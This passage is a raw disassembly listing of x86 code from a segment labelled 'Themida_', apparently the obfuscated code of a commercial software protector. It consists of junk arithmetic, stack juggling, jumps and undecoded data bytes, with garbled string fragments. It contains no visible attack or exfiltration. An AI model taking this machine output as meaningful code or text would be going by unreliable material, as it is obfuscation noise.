esi, 0DBD3CCBBh add edi, esi jmp loc_54D017 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0CAh dd 0D177F636h, 0DCF581E5h, 1AE5CA5h, 242C8BEEh, 18DE9h db 0 ; --------------------------------------------------------------------------- loc_547305: ; CODE XREF: Themida_:00548D6Fj add ebp, 2 xchg ebp, [esp] pop esp jmp loc_54F4E1 ; --------------------------------------------------------------------------- db 68h, 0FDh, 77h dd 34890000h, 8BC7E924h, 0AC340000h, 1ADFE9h, 59545100h dd 154EE9h, 2434FF00h, 70FD6858h, 3C890000h, 30E6E924h dd 0CD310000h, 0E92434FFh, 0FFFFF7A6h, 562268h, 24048900h dd 8B2434FFh, 0C481241Ch, 4, 4E95456h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547363: ; CODE XREF: Themida_:00545D66j pop eax add esp, 4 add esp, 4 sub esp, 4 mov [esp], edi push ecx push ebp push 19DD73F3h pop ebp shl ebp, 4 sub ebp, 56A74B8Ch jmp loc_547193 ; --------------------------------------------------------------------------- loc_54738F: ; CODE XREF: Themida_:0054F87Ej push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax mov eax, 321F1F7Ah jmp loc_5488D1 ; --------------------------------------------------------------------------- dd 8324148Bh, 0EC8304C4h, 242C8904h, 632DE9h, 89665C00h dd 4BE92404h, 5BFFFFD7h, 647E956h, 81410000h, 0F3067DC1h dd 0F2E98133h, 8128704Eh, 35188E9h, 0E9CE01ECh, 48FCh ; --------------------------------------------------------------------------- loc_5473E8: ; CODE XREF: Themida_:00546A03j mov [esp], ebx push eax mov al, 1Dh mov bh, 21h xor bh, al mov eax, [esp] add esp, 4 jmp loc_546EBB ; --------------------------------------------------------------------------- db 1, 0FBh, 81h dd 792682EBh, 0E933FF04h, 4260h, 284568h, 243C8900h, 42474FFh dd 4245E9h, 60936800h, 2C890000h, 57E58924h, 3CD4B850h dd 0CF251ACCh, 57D7651h, 745B2D64h, 9355FF2Dh, 2DD0F715h dd 7A80D791h, 5158C789h, 6B5ABF57h, 85E96F3Eh, 52FFFFD8h dd 0F20B66BAh, 0DFA6E977h, 8952FFFFh, 2B12E9E2h, 14310000h dd 24143324h, 3124248Bh, 0E9C231C3h, 0FFFFD69Ah, 88EB8853h dd 15E95BDAh, 8100005Dh, 4C1h, 240C8700h, 0EE3E95Ch, 0C4830000h dd 2E43E904h, 875D0000h, 835C243Ch, 6BE904C4h, 2DFFFFD6h dd 6C6D6E01h, 0FFE72AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5474B1: ; CODE XREF: Themida_:0054AA4Dj xor dword ptr [esp], 5BF60302h pop esi jmp loc_548733 ; --------------------------------------------------------------------------- dw 1C89h dd 52E38924h, 4BAh, 5AD30100h, 0A01BA52h, 0BD5503E8h, 777D2Eh dd 4EC8353h, 0BA241489h, 73304557h, 5F2DD8BBh, 0E9D30189h dd 1819h ; --------------------------------------------------------------------------- loc_5474F0: ; CODE XREF: Themida_:005481ADj add ebp, edx jmp loc_54B175 ; --------------------------------------------------------------------------- aRsL db 'RИкL',0 db 0 ; --------------------------------------------------------------------------- loc_5474FD: ; CODE XREF: Themida_:005470A5j push eax mov eax, 4 add ebx, eax jmp loc_544DEA ; --------------------------------------------------------------------------- dw 148Bh aSf9 db '$ИF9',0 align 2 dw 8864h dd 0D5F8E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54751A: ; CODE XREF: Themida_:00545602j pop ecx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_54F25A ; --------------------------------------------------------------------------- db 0BBh dd 4, 5C99C281h, 0DA0114ACh, 5C99EA81h, 1C8B14ACh, 4C48124h dd 81000000h, 4C2h, 0F856E900h, 5056FFFFh, 4906D7B8h, 43B30D7Bh dd 18E945D9h, 8300002Ah, 148904ECh, 4EC8324h, 9C21E9h dd 5BD93000h, 3058C130h, 5BDE9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547586: ; CODE XREF: Themida_:00550BF8j xchg ebp, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], edi push esi mov esi, 36036BEDh xor esi, 140C5624h xor esi, 747A70AAh jmp loc_54C4BF ; --------------------------------------------------------------------------- dw 8B66h dd 0D4E92404h, 3000001Dh, 241C8BD8h, 6604C483h, 2DB551h dd 285966EBh, 4EC81C3h, 89000000h, 73682404h, 89000059h dd 0B3532414h, 5BDA8878h, 0FFDD8EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5475E1: ; CODE XREF: Themida_:0054ED2Cj pop edx xchg esi, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_550031 ; --------------------------------------------------------------------------- dd 65685750h, 5F464869h, 0E074E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547602: ; CODE XREF: Themida_:0054B77Aj sub edi, 61634AB1h xchg edx, edi jmp loc_549D44 ; --------------------------------------------------------------------------- db 30h dd 2434FFFDh, 6A9BE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54761A: ; CODE XREF: Themida_:0054B65Dj dec esi jmp loc_54C3EB ; --------------------------------------------------------------------------- aAAsz db '─а"─ИZ',0 db 0CAh dd 5AD53059h, 0E931F580h, 0FFFFEA10h ; --------------------------------------------------------------------------- loc_547634: ; CODE XREF: Themida_:0054F928j xchg esi, [esp] pop esp sub esp, 4 mov [esp], edx push esi mov esi, 1C604703h dec esi jmp loc_54BFC7 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 792CD1BAh, 0E9575658h, 0FFFFEC34h, 0FE3EB652h, 0EFEE80C6h dd 5AF028h, 815004F8h, 2ECh, 14896600h, 59B624h, 148B66F0h dd 4EC8324h, 89243C89h, 4C781E7h, 83000000h, 3C8702C7h dd 49E95C24h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_547697: ; CODE XREF: Themida_:005457D2j sub eax, ebx sub eax, 55DC62DAh push ecx mov ecx, 54C601CBh add ecx, 27343BD2h push ebx mov ebx, 2E490D00h xor ecx, ebx pop ebx add eax, ecx jmp loc_54AD71 ; --------------------------------------------------------------------------- dw 166h dd 0B70566D0h, 148B6613h, 7F1D6824h, 34890000h, 81E68924h dd 4C6h, 2C68100h, 87000000h, 248B2434h, 0D8016624h, 3C1B2D66h dd 32416866h, 24348966h, 0CC5EBE66h, 1EFAE9h db 0 ; --------------------------------------------------------------------------- loc_5476F9: ; CODE XREF: Themida_:0054AB82j sub edx, 34EF16D8h not edx push eax mov eax, 329E7B2Dh add eax, 25F0E4E3h sub edx, eax pop eax xor edx, 8DCB6B80h add eax, 304251Fh add eax, edx sub eax, 304251Fh jmp loc_54D58B ; --------------------------------------------------------------------------- a13SP db '1,$3,$Ив▐',0 dd 0C8B6600h, 0E95624h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54773B: ; CODE XREF: Themida_:0054CC22j xchg ebp, [esp] jmp loc_54F470 ; --------------------------------------------------------------------------- db 68h dd 4, 2D94E9h, 241C8B00h, 81595451h, 4C1h, 45FDE900h, 27B60000h dd 505BDE28h, 0C48001B4h, 4E4C045h, 5279F480h, 8805B353h dd 0E7D0E9DAh, 2C8BFFFFh, 0E2895224h, 52685350h, 5B77D226h dd 4DEB814Bh, 8977D226h, 0C2015BD8h, 4C28358h, 5C241487h dd 34FFE831h, 242C8B24h, 5204C483h, 0E8E9E289h, 83000020h dd 143304EAh, 24143124h, 5C241433h, 0E9241C89h, 626Ch dd 55FB68h, 0E375E900h, 166FFFFh, 0E99C2404h, 0FFFFD33Ah dd 5A5FF901h, 0F5E9C821h, 5EFFFFDCh, 4B38C981h, 0B268362Dh dd 0E9000032h, 4716h ; --------------------------------------------------------------------------- loc_5477F4: ; CODE XREF: Themida_:0054F461j add ecx, edi mov edi, [esp] add esp, 4 push 3229h jmp loc_54ED5D ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FFF37FE9h, 242C87FFh, 8F24248Bh, 248B2404h, 2404D224h dd 0D2ECE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547826: ; CODE XREF: Themida_:0054FE4Bj add esp, 4 add esi, 1ED814CFh mov eax, esi pop esi pop ebp add eax, 41872FEEh jmp loc_544C0C ; --------------------------------------------------------------------------- dd 34CA8166h, 0F2816629h, 6650ED37h, 5066D089h, 0BA665266h dd 166791Ch, 0E9022454h, 80BEh ; --------------------------------------------------------------------------- loc_547860: ; CODE XREF: Themida_:0054D8FFj pop ebp mov ecx, ebx mov ebx, [esp] add esp, 4 mov esi, ecx push dword ptr [esp] pop ecx add esp, 4 and eax, esi mov esi, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp or eax, eax jz loc_546FF4 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push ebp mov ebp, esp sub esp, 4 mov [esp], edi mov edi, 4 add ebp, edi mov edi, [esp] add esp, 4 push 45DCh mov [esp], ebx mov ebx, 4 jmp loc_55104F ; --------------------------------------------------------------------------- loc_5478C7: ; CODE XREF: Themida_:005461F7j pop edx add ecx, esi pop esi add esi, ecx mov ecx, [esp] add esp, 4 jmp loc_54E187 ; --------------------------------------------------------------------------- db 5Ch dd 4B30F66h, 2BE99C24h, 20FFFFD2h, 0CE805BDEh, 0A3F680B3h dd 148BF730h, 0E7895724h, 4C781h, 0C7810000h, 4, 5605E9h dd 2BF00h, 0FE010000h, 2434875Fh, 2404205Ch, 4E5EE99Ch dd 4870000h, 0DFF75C24h, 0C781D7F7h, 12354B5Bh, 535FF889h dd 0D989C389h, 24048B5Bh, 9632E9h, 24148B00h, 0E9E18951h dd 2328h, 0D62B5D2Dh, 53E82975h, 76199DBBh, 0C0F3811Ah dd 16FA032h, 8865E9D8h, 0C4830000h, 0F2815A04h, 6B73CD2h dd 9199E9h, 0C3E95F00h, 81FFFFDAh, 4C6h, 4C68300h, 5C243487h dd 3D0FA5BBh, 0FFFB3154h, 0F4E92434h, 21000018h, 240C8BCFh dd 4C481h, 0E9520000h, 8C44h, 45EEFAB8h, 0E9C601EAh, 0FFFFF676h ; --------------------------------------------------------------------------- loc_5479B0: ; CODE XREF: Themida_:00546765j mov edi, 4 add ebx, edi jmp loc_548B43 ; --------------------------------------------------------------------------- dd 23E9F801h, 6600004Fh, 8324048Bh, 1C8904ECh, 685B5424h dd 0D1Dh, 89241C89h, 4C381E3h, 52000000h, 4BAh, 5AD32900h dd 0EC54E953h, 48FFFFFh, 24248B24h, 0E9241C89h, 0FFFFF94Ch dd 0FE99C50h, 0ADFFFFD1h, 0FE61512Dh, 6DF32D74h, 0D829477Ch dd 4DCCE9h, 1587BE00h, 4DE90AEBh, 5300003Eh, 0A73AE6BBh dd 32D2E97Ah, 525C0000h, 0C281E289h, 4, 4EC81h, 0C890000h dd 0F433E924h, 0E950FFFFh, 6616h, 405E089h, 5000000h, 4 dd 0E9240487h, 7FBDh, 8704C083h, 685C2404h, 0 dd 0FF241C29h, 815B2434h, 4C4h, 0FBEB8100h, 0E961E377h dd 368Fh, 88868h, 24248900h, 4240483h, 239E95Dh, 0D7F70000h dd 5464C781h, 0FD0116E2h, 83243C8Bh, 0BA5204C4h, 0FED52E2h dd 52DEEA81h, 0D5010FEDh, 0FFE5FFE9h, 48B66FFh, 88C6824h dd 47E90000h, 8800007Fh, 0F58859EEh, 1289E9h, 37C8B900h dd 0E9C17F65h, 0ACF18104h, 4111AE78h, 6686C981h, 0E9816A5Fh dd 57333082h, 3F51F181h, 0CA01272Ch, 2C28359h, 2474FF52h dd 748AE904h, 30AC0000h, 7A6853D8h, 89000044h, 89B1240Ch dd 8872B450h, 0CF3058E7h, 0E9F83059h, 0FFFFFC31h, 0E9243487h dd 0FFFFF40Ch ; --------------------------------------------------------------------------- loc_547B24: ; CODE XREF: Themida_:005494A6j mov eax, 48A43229h mov ecx, eax pop eax shl ecx, 7 sub ecx, 416975B9h push eax jmp loc_54E2C4 ; --------------------------------------------------------------------------- db 87h dd 10E9240Ch, 6600007Ah db 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov al, 0F4h sub al, 0FFh push edx jmp loc_548709 ; --------------------------------------------------------------------------- loc_547B65: ; CODE XREF: Themida_:0054E182j sub edx, eax jmp loc_550F12 ; --------------------------------------------------------------------------- dd 0CFA0E95Eh, 0C480FFFFh, 8051E907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547B7A: ; CODE XREF: Themida_:00550AADj add esi, 4 push ecx mov ecx, 4 push ecx mov ecx, 5D306D0Eh jmp loc_54AB00 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 83000000h, 348704C6h, 6FE95C24h, 89FFFFCFh, 4C281E2h dd 81000000h, 2C2h, 24143300h, 33241431h, 248B2414h, 0B4505224h dd 0EFB6F3h, 0CEFE58E6h, 28B5B050h, 0EEC058C6h, 0FE526603h dd 66012444h, 0DA60E95Ah, 4BEFFFFh, 1000000h, 3C875EF7h dd 39D6E924h, 0BE560000h, 35E207F9h, 34FFF029h, 89525E24h dd 4C281E2h, 83000000h, 0E4E904C2h db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547C0B: ; CODE XREF: Themida_:0054FF14j mov edx, [esp] add esp, 4 neg eax xor eax, 52293E20h add eax, 6C8D01C9h add eax, 0F8EE20A3h jmp loc_54BD66 ; --------------------------------------------------------------------------- db 89h dd 74E92404h, 57000030h, 0D679168h, 7C315F43h, 93E90424h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547C3F: ; CODE XREF: Themida_:00550470j push eax jmp loc_545E63 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 81000000h, 4EAh, 24148700h, 243C895Ch, 0A1685253h, 5A4A0B3Bh dd 4FD1EA81h, 0EBE970DCh db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547C6B: ; CODE XREF: Themida_:0054BF05j mov ebx, [esp] jmp loc_550DD1 ; --------------------------------------------------------------------------- loc_547C73: ; CODE XREF: Themida_:0054D56Aj shr edi, 6 add edi, 0FF977F84h add eax, edi pop edi jmp loc_54F039 ; --------------------------------------------------------------------------- loc_547C84: ; CODE XREF: Themida_:0054C464j mov edi, [esp] add esp, 4 push edx mov edx, 49832732h sub ebx, edx pop edx sub ebx, 53CD51EDh add ebx, eax add ebx, 53CD51EDh push edx push edi mov edi, 49832732h mov edx, edi pop edi add ebx, edx pop edx push ecx mov ecx, 1E245D50h and ecx, 54F12E18h sub ecx, 0FFFFFFFFh push esi mov esi, 34B44F68h jmp loc_54CBE7 ; --------------------------------------------------------------------------- db 81h dd 4C5h, 0AFE95200h, 1000092h, 0EA835BDAh, 24148704h, 8924248Bh dd 0B8502414h, 5FD495EAh, 5758C289h, 77531DBFh, 5FF80108h dd 1D2DD001h, 8B087753h, 0DF682414h, 89000060h, 56E9242Ch dd 6600004Bh, 8301B353h, 48904ECh, 0DA885224h, 0EEE9D488h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547D23: ; CODE XREF: Themida_:0054D951j add esp, 4 sub bl, 6Ch push ecx mov ch, 20h sub bl, ch pop ecx sub bl, al push cx push ebx mov bl, 0D9h mov cl, 0F9h sub cl, bl pop ebx jmp loc_54E991 ; --------------------------------------------------------------------------- db 58h dd 0FFD094E9h db 0FFh ; --------------------------------------------------------------------------- loc_547D49: ; CODE XREF: Themida_:0054F4EAj sub bl, dh add bl, 0B1h mov edx, [esp] jmp loc_54CF17 ; --------------------------------------------------------------------------- loc_547D56: ; CODE XREF: Themida_:0054D212j add ebp, 4 jmp loc_54CC1F ; --------------------------------------------------------------------------- db 54h, 8Bh, 1Ch dd 4C48324h, 4C381h, 0C3830000h, 241C8704h, 5824248Bh dd 606BBB53h, 0EBD13245h, 8102EBC1h, 5F0960C3h, 81DBF75Ch dd 0FFFFFFEBh, 772BE9FFh, 3C8B0000h, 4C48324h, 3DC6E9h dd 0A8EE8000h, 0CEE9F328h, 0BD000002h, 5A79116Eh, 0D814E957h dd 0D0F7FFFFh, 471FDC35h, 5C35483Dh, 31B96DB7h, 684F58C7h dd 55B7h, 0FFF87CE9h db 0FFh ; --------------------------------------------------------------------------- loc_547DD1: ; CODE XREF: Themida_:00547EDBj mov [esp], ecx jmp loc_54E6EE ; --------------------------------------------------------------------------- loc_547DD9: ; CODE XREF: Themida_:0054B30Fj xchg ebx, [esp] jmp loc_54F9EE ; --------------------------------------------------------------------------- loc_547DE1: ; CODE XREF: Themida_:0054B170j sub ebp, 56975F8Ch push eax mov eax, 14F5A4E9h add ebp, eax jmp loc_54B89D ; --------------------------------------------------------------------------- loc_547DF4: ; CODE XREF: Themida_:0054FDC8j push edx mov dl, 16h sub dl, 0D7h or dl, 6 push ax mov al, 42h or dl, al pop ax push ax mov ah, 0DDh sub dl, ah pop ax shr dl, 5 add dl, 0C8h add al, 14h jmp loc_545012 ; --------------------------------------------------------------------------- dw 0DAF7h dd 256BE9h db 0 ; --------------------------------------------------------------------------- loc_547E21: ; CODE XREF: Themida_:0054B7F8j xor edx, esi jmp loc_548C75 ; --------------------------------------------------------------------------- dd 0B0D9B252h, 5AD0309Eh, 0E8C07404h, 0E95D0405h, 0FFFFF4E2h ; --------------------------------------------------------------------------- loc_547E3C: ; CODE XREF: Themida_:005500B1j add bl, 26h jmp loc_54D9CA ; --------------------------------------------------------------------------- dd 68h, 240C2900h, 2E1C159h, 4C38E181h, 0F1810E5Dh, 1A177622h dd 2EC1E981h, 0CB01C8DBh, 43BE5659h, 1966AD5h, 33FFE9F3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547E72: ; CODE XREF: Themida_:0054AEC1j sub ebx, 3FA83467h xor ebx, 6C25B4FEh xor esi, ebx pop ebx jmp loc_545F2E ; --------------------------------------------------------------------------- dw 0C483h dd 8B95E902h, 56590000h, 0E9555E54h, 167Fh, 4EC81h, 3C890000h dd 4BBD5524h, 0BF1DA12Ah, 1DA12A4Fh, 5FDFE9h db 0 ; --------------------------------------------------------------------------- loc_547EB1: ; CODE XREF: Themida_:0054A034j add esp, 4 push 2A9Fh mov [esp], edx push edi mov edi, 6E920898h shr edi, 6 shl edi, 1 push ebp mov ebp, 40CF4602h add ebp, 0E9CE18E4h add edi, ebp pop ebp push 5AA1h jmp loc_547DD1 ; --------------------------------------------------------------------------- dd 241C8B66h, 2C481h, 50660000h, 0C32826B0h, 52515866h dd 0DAF62CB2h, 0B2AE9h, 1BD00h, 4DE90000h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_547F07: ; CODE XREF: Themida_:0054500Dj mov esp, [esp] mov [esp], ecx mov ecx, esp push ebp mov ebp, 4BED6DFFh jmp loc_549706 ; --------------------------------------------------------------------------- dw 8950h dd 405E0h, 0C0830000h, 24048704h, 2BB535Ch, 1000000h, 2FCEE9DAh dd 0EA810000h, 0B8CEBE7Fh, 148BD131h, 4C48324h, 3A32E9h db 0 ; --------------------------------------------------------------------------- loc_547F49: ; CODE XREF: Themida_:0054B335j dec dh push ebx push edx mov dh, 2Bh mov bh, 65h sub bh, dh pop edx add bh, 82h inc bh sub bh, 0A4h add dh, 0E6h jmp loc_545854 ; --------------------------------------------------------------------------- dd 4BEh, 5EF00100h, 355268h, 24148900h, 55CFE9h, 5EAC100h dd 5FEAC281h, 1E93752h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547F87: ; CODE XREF: Themida_:00545A3Dj not eax push ecx mov ecx, 3D573853h xor ecx, 732A0421h and eax, ecx pop ecx jmp loc_54ABDD ; --------------------------------------------------------------------------- db 1, 74h, 24h dd 24348B04h, 0E904C483h, 0FFFFCB66h, 4C181h, 0C1830000h dd 240C8704h, 3EDC15Ch, 73B7E950h, 8B660000h, 0EC81240Ch dd 4, 89243489h, 78EAE9E6h, 58540000h, 405h, 0E9575100h dd 25Ch ; --------------------------------------------------------------------------- loc_547FE4: ; CODE XREF: Themida_:0054CAA3j sub al, dl jmp loc_54CCF3 ; --------------------------------------------------------------------------- db 58h dd 0E95AD001h, 1402h, 1C181h, 0BE560000h, 1F6B7387h, 34FFF101h dd 5425E924h, 34890000h, 4BE24h, 0F7010000h, 243C875Eh dd 0C124248Bh, 7A6806E9h, 89000031h, 34FF241Ch db 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_549B55 ; --------------------------------------------------------------------------- dw 0DF31h dd 83241C8Bh, 7C0104C4h, 5AE90424h, 87000064h, 835C242Ch dd 2C8904ECh, 4EC8324h, 0B9240C89h, 10765050h, 0C29E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54805E: ; CODE XREF: Themida_:00550CB7j mov al, 0CFh inc al push bx push eax mov al, 0ECh not al sub al, 0C6h mov bl, al pop eax xor al, bl mov bx, [esp] jmp loc_54F1E5 ; --------------------------------------------------------------------------- db 5Ah, 0FEh, 0C3h dd 34E8E9h db 0 ; --------------------------------------------------------------------------- loc_548081: ; CODE XREF: Themida_:0054F5C8j xor edi, [esp] jmp loc_54E1C5 ; --------------------------------------------------------------------------- loc_548089: ; CODE XREF: Themida_:00550FC1j sub edi, 612C3922h sub edi, 7C8D6C50h jmp loc_54E61D ; --------------------------------------------------------------------------- dw 0ED81h dd 67358B0h, 48D4E9h, 9DBD5500h, 2D55B330h, 5692CA1h, 63E9E829h dd 8B00008Dh, 0C4832414h, 0FDE95304h, 6600004Fh, 9C241CF7h dd 0FFCA45E9h db 0FFh ; --------------------------------------------------------------------------- loc_5480CD: ; CODE XREF: Themida_:0054B214j not ebx xchg ebx, [esp] pop ebp not ebp shl ebp, 4 push edx jmp loc_548192 ; --------------------------------------------------------------------------- loc_5480DE: ; CODE XREF: Themida_:0054D7A9j pop ebx add esp, 4 jmp loc_544F4D ; --------------------------------------------------------------------------- loc_5480EA: ; CODE XREF: Themida_:0054DB0Dj shl edi, 4 jmp loc_54A9CD ; --------------------------------------------------------------------------- dw 0D730h dd 66F8285Ah, 2831045Bh, 0B60F58C3h, 48F66C0h, 0CA08E987h dd 5051FFFFh, 0D179EDB8h, 4CBD5523h, 811A8555h, 453FF1E5h dd 0F2E94D2Eh, 81000079h, 516E96EFh, 5FFE0135h, 4BD55h dd 0C6810000h, 5A2010C5h, 0EE81EE01h, 5A2010C5h, 0EAD2E95Dh dd 2D5EFFFFh, 243225BBh, 5A2434FFh, 4C481h, 0DBE90000h dd 59000009h, 5130E9h, 4111BD00h, 15BE6A9Eh, 296A9E41h dd 0F1295DEEh, 240C875Eh, 578AE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54817A: ; CODE XREF: Themida_:0054A28Aj xchg esi, [esp] mov esp, [esp] jmp loc_54DFD9 ; --------------------------------------------------------------------------- loc_548185: ; CODE XREF: Themida_:0054F6B7j pop esp jmp loc_5506A5 ; --------------------------------------------------------------------------- loc_54818B: ; CODE XREF: Themida_:005463CEj and eax, esi jmp loc_54B01A ; --------------------------------------------------------------------------- loc_548192: ; CODE XREF: Themida_:005480D9j mov edx, 52605674h xor edx, 60387EECh sub edx, 2375564Fh not edx not edx xor edx, 0EA7AC4C6h jmp loc_5474F0 ; --------------------------------------------------------------------------- dw 0F301h dd offset byte_5959E9 dd 8BDE3000h, 8953241Ch, 0BBBE56E3h, 0C1099042h, 0F68104EEh dd 2F1F3EAAh, 409AE9h db 0 ; --------------------------------------------------------------------------- loc_5481D5: ; CODE XREF: Themida_:0054C563j push ebp jmp loc_5505BA ; --------------------------------------------------------------------------- aBQoxQsM db '│еО▌ЕаQИщM',0 dw 0B000h aKSp0 db 'K,╥,уИ╞0',0 align 2 dw 0B850h dd 1BAF5B7Fh, 9F2DD8F7h, 52549A37h, 42D22BAh, 33C2817Bh dd 1FEE6C1h, 0C2015AD0h, 582434FFh, 8104C483h, 0FFFFFFC2h dd 179F68FFh, 4890000h, 0B3B95124h, 0B80C7521h, 27BA8EE1h dd 0C0E9C829h, 5C000072h, 0E9241489h, 0FFFFECE1h, 4BFh dd 23F3E900h, 89520000h, 4BD55E2h, 1000000h, 24D4E9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54825A: ; CODE XREF: Themida_:00550ECCj mov [esp], ebx mov ebx, 4 add ebp, ebx pop ebx sub ebp, 4 xchg ebp, [esp] jmp loc_54B47B ; --------------------------------------------------------------------------- dd 56240C89h, 242C8155h, 7F2746B8h, 0EA63E95Eh, 0E951FFFFh dd 8BABh, 0C0FE1334h, 8EFBE9h, 4BA5200h, 1000000h, 68685AD7h dd 89000013h, 0BB53240Ch, 15C24ED6h, 4EDABB53h, 0D98915C2h dd 3EF4E95Bh, 4BF0000h, 0E9000000h, 1CFCh, 24248B66h, 2292E9h dd 240C8900h, 366326B9h, 0FFC80105h, 0E9592434h, 0FFFFEBC0h ; --------------------------------------------------------------------------- loc_5482DC: ; CODE XREF: Themida_:0054BC00j add esi, 0AE3BF7B0h mov ebx, esi pop esi and ebx, 79296143h dec ebx jmp loc_54ABAC ; --------------------------------------------------------------------------- db 0BEh, 57h, 2 aB?5nbESFfsmv db 'л',8,'│н?{%5N│н┘>Х',0Ah db 'FFИmV',0 align 2 loc_54830A: ; CODE XREF: Themida_:00545A6Cj mov edx, 28h sub edx, 3C5F76B7h add edx, edi add edx, 3C5F76B7h jmp loc_54C4EF ; --------------------------------------------------------------------------- dw 5954h dd 4C181h, 0C1810000h, 4, 2474FF51h, 48F5904h, 0D3E95C24h dd 0B8FFFFC7h, 4, 48BC701h, 4C48324h, 0E9243C87h, 0FFFFD305h dd 34FFE921h, 0C4815D24h, 4, 8AE9h, 81595400h, 4C1h, 4C18300h dd 604BE9h, 5EF03100h, 0F3E9C331h, 8B000015h, 0AB682414h dd 89000044h, 0E2892414h, 4C281h, 0DBE90000h, 5AFFFFDBh dd 7F49E281h, 0DAF702B2h, 0B3BE564Ah, 2176C367h, 5E54E9F2h dd 4890000h, 2B9EB824h, 8EE95CCBh db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_5483BB: ; CODE XREF: Themida_:0054E642j pop edx xchg edi, [esp] jmp loc_54BC14 ; --------------------------------------------------------------------------- aXsE db 'XИ|┘',0 align 2 loc_5483CA: ; CODE XREF: Themida_:0054CC8Aj push 1445h jmp loc_54DDB7 ; --------------------------------------------------------------------------- dd 0E92C77FFh, 0FFFFC736h, 2474FF50h, 2434FF04h, 8324048Bh dd 46E904C4h, 0C1FFFFDEh, 0C00900E9h, 49BC840Fh, 0EC830000h dd 241C8904h, 5AEABF57h, 39E93D20h, 8100008Ch, 0FD4339E7h dd 0DBEF8115h, 89BC6756h, 0E8315FFDh, 5D2434FFh, 515B5453h dd 2A3BE956h, 0E3D10000h, 45D7CB81h, 0C3817512h, 8A6DBA2Ah dd 0FF1C5F09h, 1C8B2434h, 0E2895224h, 4BE56h, 0F2010000h dd 4C2815Eh, 52000000h, 42474FFh, 24048F5Ah, 5D54555Ch dd 4C581h, 0C5830000h, 74FF5504h, 0E95D0424h, 38ADh, 875FFB01h dd 0D8E9241Ch, 0FFFFFFE2h, 669D1C77h, 2414D259h, 0C684E99Ch dd 0CF81FFFFh, 72D1FF5h, 35D4E9h, 5EF00100h, 5F15BE56h dd 0DEF702C6h, 0A712F681h, 6FE9C8DBh, 0B2FFFFDBh, 51B050EAh dd 0E1E98424h, 83000073h, 0FAE902C4h, 8300006Dh, 0C581FFEDh dd 4E10CFFh, 5E87E581h, 814D64FCh, 0FBE270EDh, 5DE909C8h dd 1D00E981h, 0CE89DD82h, 4EEC159h, 8904EC83h, 6DBA2414h dd 0E947C667h, 5338h, 24048F54h, 3624E9h, 4C58100h, 83000000h dd 2C8704C5h, 0C3315C24h, 0E930FF66h, 0FFFFC5FAh, 50240C8Bh dd 20EE68h, 24248900h, 4240483h, 4BB5358h, 1000000h, 0C0835BD8h dd 24048704h, 0E9C3885Ch, 78B0h, 0B25E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548546: ; CODE XREF: Themida_:0054E347j mov [esp], esp jmp loc_54E8A5 ; --------------------------------------------------------------------------- loc_54854E: ; CODE XREF: Themida_:00550B70j push esi mov esi, 6A250B7Ah not esi add esi, 58E15AF8h xor esi, 0FCD807C7h not esi or esi, 73E053BDh neg esi push eax mov eax, 14FB74CFh sub eax, 0C635F1h sub eax, 69DE17D2h add eax, 75F23529h dec eax sub eax, 0C8A0A6Dh xor esi, eax mov eax, [esp] add esp, 4 add eax, esi jmp loc_5496FA ; --------------------------------------------------------------------------- loc_548599: ; CODE XREF: Themida_:0054FC40j and esi, 1208753Dh push eax mov eax, 7E635D3Ch jmp loc_5461BC ; --------------------------------------------------------------------------- dw 1CB9h dd 89000000h, 0C2E9CBh, 52560000h, 0E51BE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5485BE: ; CODE XREF: Themida_:0054D408j jnz loc_549BC2 push 1 push dword ptr [esp] pop edx push 242Fh mov [esp], edi push esp jmp loc_549B8F ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_545A71 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 240C8900h, 4B9h, 59CF8900h, 0A833402Dh, 69A1E942h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54860A: ; CODE XREF: Themida_:0054DD00j mov [esp], ebp mov ebp, 0C164A32h jmp loc_549851 ; --------------------------------------------------------------------------- db 81h dd 0ED5628C3h, 4BB85032h, 8118F23Dh, 0DF629CEBh, 0C7D4E96Ch dd 0E089FFFFh, 519CE9h, 0F72CAC00h, 0D800B504h, 8904EC83h dd 9EE92414h, 89000064h, 212E9E2h, 34870000h, 